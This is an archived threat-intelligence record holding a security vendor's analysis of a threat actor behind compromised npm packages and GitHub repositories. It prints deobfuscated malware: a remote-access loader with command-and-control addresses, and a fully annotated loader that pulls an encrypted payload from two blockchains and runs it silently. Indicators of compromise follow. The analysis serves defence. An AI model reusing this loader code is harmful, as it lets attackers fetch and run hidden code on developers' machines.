{
	"id": "f235d1d1-eae6-410c-891a-1052607728c2",
	"created_at": "2026-04-06T00:11:19.619875Z",
	"updated_at": "2026-04-10T03:37:59.00845Z",
	"deleted_at": null,
	"sha1_hash": "ef55f0ca1869bc7feeaf18fe26e902596e8ad126",
	"title": "A deeper look into the threat actor behind the react-native-aria attack",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2387995,
	"plain_text": "A deeper look into the threat actor behind the react-native-aria\r\nattack\r\nBy Charlie Eriksen\r\nPublished: 2025-06-12 · Archived: 2026-04-05 21:04:38 UTC\r\nPublished on:\r\n2025-06-12 11:00 am\r\nTable of Contents\r\nYou may have seen the recent story about a threat actor group compromising 16 popular packages related to React\r\nNative Aria and GlueStack, which we discovered and documented here. Previously, we detected that they\r\ncompromised the package rand-user-agent on May 5, 2025, as reported here. \r\nWe’ve been tracking this threat actor since then and have observed smaller attacks that we’ve not yet fully\r\ndocumented in public. However, we wanted to compile them to provide a broader picture of their activity. \r\nInitial malicious packages\r\nOn May 8th, 2025, our systems had already alerted us to two new packages on npm that appeared to be malicious.\r\nThey are:\r\nsolanautil\r\nweb3-socketio\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 1 of 14\n\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 2 of 14\n\nThese were both uploaded by the same user, aminengineerings , registered with the email\r\naminengineerings@gmail[.]com . From the very first versions, they both contained the malicious payload,\r\nindicating that this package belongs to the threat actors themselves.\r\nMore malicious packages\r\nWe also saw two additional packages released by the attacker after the attack on gluestack. The packages were\r\nreleased on June 8, 2025, under the names tailwindcss-animate-expand and mongoose-lit . These were\r\nreleased by a user called mattfarser . The user was quickly deleted afterwards.\r\nSpecifically, the tailwindcss-animate-expand package is of note, as it has a different payload structure. The first\r\npart of it looks like this:\r\nglobal['r']=require;(function(){var Afr='',xzH=906-895;...\r\nWe no longer see the global[‘_V’] variable being set. When we run this in a sandbox, we see that the final\r\npayload is also slightly different. The payload looks like this after deobfuscation:\r\nglobal._V = 'A4';\r\n(async () =\u003e {\r\n try {\r\n const c = global.r || require;\r\n const d = global._V || '0';\r\n const f = c('os');\r\n const g = c(\"path\");\r\n const h = c('fs');\r\n const i = c('child_process');\r\n const j = c('crypto');\r\n const k = f.platform();\r\n const l = k.startsWith(\"win\");\r\n const m = f.hostname();\r\n const n = f.userInfo().username;\r\n const o = f.type();\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 3 of 14\n\nconst p = f.release();\r\n const q = o + \" \" + p;\r\n const r = process.execPath;\r\n const s = process.version;\r\n const u = new Date().toISOString();\r\n const v = process.cwd();\r\n const w = typeof __filename === \"undefined\" || __filename !== \"[eval]\";\r\n const x = typeof __dirname === 'undefined' ? v : __dirname;\r\n const y = g.join(f.homedir(), \".node_modules\");\r\n if (typeof module === \"object\") {\r\n module.paths.push(g.join(y, \"node_modules\"));\r\n } else {\r\n if (global._module) {\r\n global._module.paths.push(g.join(y, \"node_modules\"));\r\n } else {\r\n if (global.m) {\r\n global.m.paths.push(g.join(y, 'node_modules'));\r\n }\r\n }\r\n }\r\n async function z(V, W) {\r\n return new global.Promise((X, Y) =\u003e {\r\n i.exec(V, W, (Z, a0, a1) =\u003e {\r\n if (Z) {\r\n Y(\"Error: \" + Z.message);\r\n return;\r\n }\r\n if (a1) {\r\n Y(\"Stderr: \" + a1);\r\n return;\r\n }\r\n X(a0);\r\n });\r\n });\r\n }\r\n function A(V) {\r\n try {\r\n c.resolve(V);\r\n return true;\r\n } catch (W) {\r\n return false;\r\n }\r\n }\r\n const B = A(\"axios\");\r\n const C = A(\"socket.io-client\");\r\n if (!B || !C) {\r\n try {\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 4 of 14\n\nconst V = {\r\n \"stdio\": \"inherit\",\r\n windowsHide: true\r\n };\r\n const W = {\r\n \"stdio\": \"inherit\",\r\n \"windowsHide\": true\r\n };\r\n if (B) {\r\n await z(\"npm --prefix \\\"\" + y + \"\\\" install socket.io-client\", V);\r\n } else {\r\n await z(\"npm --prefix \\\"\" + y + \"\\\" install axios socket.io-client\", W);\r\n }\r\n } catch (X) {}\r\n }\r\n const D = c(\"axios\");\r\n const E = c(\"form-data\");\r\n const F = c(\"socket.io-client\");\r\n let G;\r\n let H;\r\n let I = {};\r\n const J = d.startsWith('A4') ? \"http://136.0.9.8:3306\" : \"http://166.88.4.2:443\";\r\n const K = d.startsWith('A4') ? \"http://136.0.9.8:27017\" : \"http://166.88.4.2:27017\";\r\n...\r\nWhat’s especially interesting is that we see the version is A4 , which was referenced in the attack over the\r\nweekend as a signal to use the new C2 server.\r\nWe also see that the “old” C2 server is no longer mentioned. Instead, they have added the IP 166.88.4[.]2 .\r\nWarning signs\r\nLeading up to this attack, we had noticed some small packages being compromised. Here are the packages we\r\nnoticed:\r\nPackage Version Release Date\r\n@lfwfinance/sdk 1.3.5 June 3rd 2025\r\n@lfwfinance/sdk-dev 2.0.10 June 3rd 2025\r\nalgorand-htlc 1.0.2 June 3rd 2025\r\navm-satoshi-dice 1.0.6 June 3rd 2025\r\nbiatec-avm-gas-station 1.1.2 June 3rd 2025\r\narc200-client 1.0.7 June 3rd 2025\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 5 of 14\n\ncputil-node 0.6.6 June 3rd 2025\r\nThese packages belong to three different individuals and have fewer than 100 downloads per week. It appears that\r\nthese threat actors are consistently able to compromise the tokens for npm accounts. \r\nCompromised GitHub repos \r\nAs we investigated these attacks further, we decided to examine other ecosystems for evidence that could provide\r\nmore insight into how these threat actors operate. We were able to detect 19 repositories on GitHub that the same\r\nthreat actors have compromised:\r\nRepo Date Commit\r\nLZeroAnalytics / ethereum-faucet 04 Jun 2025 23ea1dd\r\nLZeroAnalytics / hardhat-vrf-contracts 04 Jun 2025 f325ab6\r\nDogukanGun / TurkClub 23 May 2025 84aaa06\r\nkhaliduddin / numbers-game 19 May 2025 36f20cb\r\nDogukanGun / NexWallet 16 May 2025 43193c5\r\nDogukanGun / NexAI 14 May 2025 74d5221\r\nrevoks / round-feather-1f9f 01 May 2025 ca05542\r\nLLM-Red-Team / glm-free-api 28 Apr 2025 16a0bfc\r\nLLM-Red-Team / deepseek-free-api 08 Apr 2025 37f4c58\r\nDogukanGun / pipeline-templates 02 Apr 2025 699eb16\r\nmobileteamz / Landhsoft-Frontend 29 Mar 2025 e3636c9\r\nUnderGod-dev / portfolio 29 Mar 2025 87f8add\r\nDogukanGun / PopScope 26 Mar 2025 1775087\r\nDogukanGun / NexAgent 23 Mar 2025 7ff7afa\r\nSid31 / front-buy-free 28 Feb 2025 ce93a20\r\nDogukanGun / supabase 12 Jan 2025 71e169b\r\nLLM-Red-Team / kimi-free-api 17 Dec 2024 2e6397c\r\nLLM-Red-Team / doubao-free-api 13 Dec 2024 b0ce4e9\r\nLLM-Red-Team / qwen-free-api 13 Dec 2024 d8046bf\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 6 of 14\n\nThere are a couple of commits that stand out in these, an example being:\r\nhttps://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf\r\nThe threat actor has slightly changed the payload they use. In this case, they have base64 encoded a payload,\r\nwhich they pass to eval(). Here is the decoded payload, annotated with comments that describe its functionality.\r\n/*****************************************************************************************\r\n * Malware “loader” that hides its real payload on two block-chains. *\r\n * Flow ⬇️ *\r\n * 🥇 Step-1 Read pointer on Aptos *\r\n * 🥈 Step-2 Use pointer on Binance Smart Chain (BSC) *\r\n * 🥉 Step-3 Pull out hidden blob *\r\n * ️ Step-4 Decode \u0026 decrypt *\r\n * 🚀 Step-5 Run it silently *\r\n *****************************************************************************************/\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 7 of 14\n\n/* ───────────────────────────── Bootstrap ───────────────────\r\nglobal['r'] = require; // save `require` as global.r (little obfuscation)\r\n(async () =\u003e {\r\n /* quick aliases */\r\n const c = global; // shorthand for `global`\r\n const i = c['r']; // shorthand for `require`\r\n /* 🛠 Helper 1: GET url → JSON */\r\n async function e (url) {\r\n return new Promise((resolve, reject) =\u003e {\r\n i('https')\r\n .get(url, res =\u003e {\r\n let body = '';\r\n res.on('data', chunk =\u003e (body += chunk));\r\n res.on('end', () =\u003e {\r\n try { resolve(JSON.parse(body)); } catch (err) { reject(err); }\r\n });\r\n })\r\n .on('error', reject)\r\n .end();\r\n });\r\n }\r\n /* 🛠 Helper 2: call BSC JSON-RPC */\r\n async function o (method, params = []) {\r\n return new Promise((resolve, reject) =\u003e {\r\n const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });\r\n const opts = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };\r\n const req = i('https')\r\n .request(opts, res =\u003e {\r\n let body = '';\r\n res.on('data', chunk =\u003e (body += chunk));\r\n res.on('end', () =\u003e {\r\n try { resolve(JSON.parse(body)); } catch (err) { reject(err); }\r\n });\r\n })\r\n .on('error', reject);\r\n req.write(payload);\r\n req.end();\r\n });\r\n }\r\n /* ─────────── Core routine that implements 🥇 → ️ steps ─────────── */\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 8 of 14\n\nasync function t (aptosAccount) {\r\n /* 🥇 STEP-1 Read pointer on Aptos */\r\n const latestTx = await e(\r\n `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`\r\n );\r\n const bscHash = latestTx[0].payload.arguments[0]; // pointer → BSC tx-hash\r\n /* 🥈 STEP-2 Fetch BSC transaction carrying the payload */\r\n const bscTx = await o('eth_getTransactionByHash', [bscHash]);\r\n const hexBlob = bscTx.result.input.slice(2); // drop \"0x\"\r\n /* 🥉 STEP-3 Pull out hidden blob (still unreadable) */\r\n const rawText = Buffer.from(hexBlob, 'hex').toString('utf8');\r\n const b64Chunk = rawText.split('..')[1]; // keep part after \"..\"\r\n /* ️ STEP-4 Decode \u0026 decrypt */\r\n const encrypted = atob(b64Chunk); // Base-64 → binary string\r\n const KEY = '$v$5;kmc$ldm*5SA';\r\n let payload = '';\r\n for (let j = 0; j \u003c encrypted.length; j++) {\r\n payload += String.fromCharCode(\r\n encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)\r\n );\r\n }\r\n return payload; // plain-text JS to execute\r\n }\r\n /* 🚀 STEP-5 Run it silently in the background */\r\n try {\r\n const script = await t(\r\n '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'\r\n );\r\n i('child_process')\r\n .spawn(\r\n 'node',\r\n ['-e', `global['_V']='${c['_V'] || 0}';${script}`],\r\n { detached: true, stdio: 'ignore', windowsHide: true }\r\n )\r\n .on('error', () =\u003e { /* swallow child errors */ });\r\n } catch (err) {\r\n /* stay quiet on any failure */\r\n }\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 9 of 14\n\n})();\r\nThis code is clever, as it partially bootstraps itself from the contents of two different blockchains. Here’s a step-by-step overview:\r\nThe transaction on the Binance Smart Chain can be found below. It’s worth noting that the wallet and contract\r\nhave existed since February 7th, 2025: \r\nhttps://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37\r\nWe ran the code in a sandbox and obtained the final payload, and it was the same payload as we’ve already\r\ndocumented before without any significant changes. \r\nConclusions\r\nWe see the threat actor is actively and consistently compromising not just npm packages, but also GitHub\r\nrepositories. In addition, they have been experimenting with deploying their own packages with their RAT.\r\nThey’ve also started using Blockchains as a method of pushing out their malicious code. \r\nIndicators of compromise\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 10 of 14\n\nPackages\r\nsolanautil\r\nweb3-socketio\r\ntailwindcss-animate-expand\r\nmongoose-lite\r\n@lfwfinance/sdk\r\n@lfwfinance/sdk-dev\r\nalgorand-htlc\r\navm-satoshi-dice\r\nbiatec-avm-gas-station\r\narc200-client\r\ncputil-node\r\nIPs\r\n166.88.4[.]2\r\n136.0.9[.]8\r\nAptos account\r\n0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d\r\nBSC Address\r\n0x9BC1355344B54DEDf3E44296916eD15653844509\r\nBSC Contract\r\n0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c\r\nLast updated on:\r\nJan 7, 2026\r\nSecure your software now\r\nStart today, for free.\r\nStart for Free\r\nNo CC required\r\n4.7/5\r\nTired of false positives?\r\nTry Aikido like 100k others.\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 11 of 14\n\nStart Now\r\nGet a personalized walkthrough\r\nTrusted by 100k+ teams\r\nBook Now\r\nScan your app for IDORs and real attack paths\r\nTrusted by 100k+ teams\r\nStart Scanning\r\nSee how AI pentests your app\r\nTrusted by 100k+ teams\r\nStart Testing\r\nMarch 30, 2026\r\n•\r\nVulnerabilities \u0026 Threats\r\naxios compromised on npm: maintainer account hijacked, RAT deployed\r\nMalicious axios versions 1.14.1 and 0.30.4 were published via a hijacked maintainer account. A hidden\r\ndependency deploys a cross-platform RAT. Check if you are affected and remediate now.\r\n#\r\nMalware\r\nMarch 27, 2026\r\n•\r\nVulnerabilities \u0026 Threats\r\nPopular telnyx package compromised on PyPI by TeamPCP\r\nThe popular telnyx packageon PyPI, used by big AI companies, has been compromised by TeamPCP\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 12 of 14\n\n#\r\nMalware\r\n#\r\nPypi\r\nMarch 22, 2026\r\n•\r\nVulnerabilities \u0026 Threats\r\nCanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran\r\nCanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran\r\n#\r\nNPM\r\n#\r\nMalware\r\nGet secure now\r\nSecure your code, cloud, and runtime in one central system.\r\nFind and fix vulnerabilities fast automatically.\r\nNo credit card required | Scan results in 32secs.\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 13 of 14\n\nSource: https://www.aikido.dev/blog/react-native-aria-attack\r\nhttps://www.aikido.dev/blog/react-native-aria-attack\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.aikido.dev/blog/react-native-aria-attack"
	],
	"report_names": [
		"react-native-aria-attack"
	],
	"threat_actors": [
		{
			"id": "63883709-27b5-4b65-9aac-c782780fbb28",
			"created_at": "2026-04-10T02:00:03.996704Z",
			"updated_at": "2026-04-10T02:00:03.996704Z",
			"deleted_at": null,
			"main_name": "TeamPCP",
			"aliases": [],
			"source_name": "MISPGALAXY:TeamPCP",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434279,
	"ts_updated_at": 1775792279,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ef55f0ca1869bc7feeaf18fe26e902596e8ad126.pdf",
		"text": "https://archive.orkl.eu/ef55f0ca1869bc7feeaf18fe26e902596e8ad126.txt",
		"img": "https://archive.orkl.eu/ef55f0ca1869bc7feeaf18fe26e902596e8ad126.jpg"
	}
}